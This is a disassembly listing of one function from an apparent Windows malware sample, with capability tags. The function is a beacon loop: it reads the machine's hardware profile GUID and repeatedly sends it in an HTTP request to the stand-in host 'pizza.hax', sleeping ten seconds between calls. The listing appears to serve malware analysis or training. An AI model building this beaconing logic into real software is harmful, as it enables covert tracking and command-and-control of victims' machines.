Function at 0x4016a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x640
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x41b8b4], eax
call fcn.00401590
mov dword [0x41b8b0], eax
mov eax, dword [0x41b8b4]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test eax, eax
jne 0x4016f7
push 0x414128
push 0x414138
push 0x33
push 0x4131fc
call fcn.00401070
add esp, 0x10
push 0
push 0
push 0
push 0x4011d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jne 0x401734
push 0x414150
push 0x414160
push 0x36
push 0x414178
call fcn.00401070
add esp, 0x10
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
jne 0x40175e
push str.GetCurrentHwProfile
push 0x414198
push 0x3d
push 0x4141b0
call fcn.00401070
add esp, 0x10
lea edx, [ebp - 0x48c]
push edx
push 0x4141bc
call fcn.00401c10
add esp, 8
lea eax, [ebp - 0x620]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4017a0
push str.WSAStartups
push 0x4141cc
push 0x45
push 0x4141e4
call fcn.00401070
add esp, 0x10
push str.Winsock_initialized._n
call fcn.00401c10
add esp, 4
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0xffffffff
jne 0x4017e0
push str.socket
push 0x414210
push 0x49
push 0x414228
call fcn.00401070
add esp, 0x10
push 0x414234
call fcn.00401c10
add esp, 4
mov ecx, 2
mov word [ebp - 0x414], cx
push 0x414248
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x410], eax
push 0x50
call sub.WS2_32.dll_htons
mov word [ebp - 0x412], ax
push 0x10
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x624]
push eax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x40184a
push str.connect
push 0x41425c
push 0x52
push 0x414274
call fcn.00401070
add esp, 0x10
push 0x414280
call fcn.00401c10
add esp, 4
mov ecx, 1
test ecx, ecx
je 0x40193f
mov dword [ebp - 0x640], 0x3039
mov dword [ebp - 0x62c], str.GET__promotions__HTTP_1.1_nHost:_pizza.hax_nUser_Agent:__s_nAccept:_text_html_nConnection:_keep_alive_n_n
lea edx, [ebp - 0x48c]
push edx
mov eax, dword [ebp - 0x62c]
push eax
lea ecx, [ebp - 0x404]
push ecx
call fcn.00401c90
add esp, 0xc
mov dword [ebp - 0x630], eax
mov edx, dword [ebp - 0x630]
push edx
lea eax, [ebp - 0x404]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
call fcn.00401180
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4018d6
push str.send_all
push 0x414308
push 0x6c
push 0x414320
call fcn.00401070
add esp, 0x10
mov dword [ebp - 0x638], 0
mov dword [ebp - 0x634], 0
lea edx, [ebp - 0x634]
push edx
lea eax, [ebp - 0x638]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
call fcn.004010a0
add esp, 0xc
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0xffffffff
jne 0x40192f
push str.recv_all
push str.int___cdecl_main_void_
push 0x74
push 0x414350
call fcn.00401070
add esp, 0x10
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401857
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401f57
mov esp, ebp
pop ebp
ret